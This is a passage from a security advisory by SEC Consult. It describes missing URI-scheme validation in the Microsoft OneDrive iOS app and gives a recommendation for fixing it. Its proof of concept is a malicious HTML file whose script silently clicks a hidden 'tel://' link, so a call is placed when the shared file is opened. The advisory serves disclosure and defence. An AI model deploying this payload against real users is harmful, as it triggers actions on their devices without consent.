Business recommendation:
------------------------
SEC Consult recommends to implement a proper validation to handle the URI
schemes. Always ask for user permission before calling an external URI scheme.


Vulnerability overview/description:
-----------------------------------
1) Insecure Handling of URI Schemes

Due to the lack of URI schemes validation any external URI scheme can be
invoked by the Microsoft OneDrive iOS application with out any user
interaction.


Proof of concept:
-----------------
1) Insecure Handling of URI Schemes

An attacker can upload and share a malicious HTML file to invoke an
external URI scheme. Once the file is accessed by any OneDrive user with
an iOS device, the external URI scheme will be invoked automatically.

Example of a malicious HTML file:

============================================================================
<html>
<body>
<a id="callme" href="tel://1-xxx-xxx-xxx" style="display:none">click</a>
<script>
var t = document.getElementById("callme");
var fe = document.createEvent("MouseEvents");
fe.initEvent("click", true, true);
t.dispatchEvent(fe);
</script>
</body>
</html>
=============================================================================
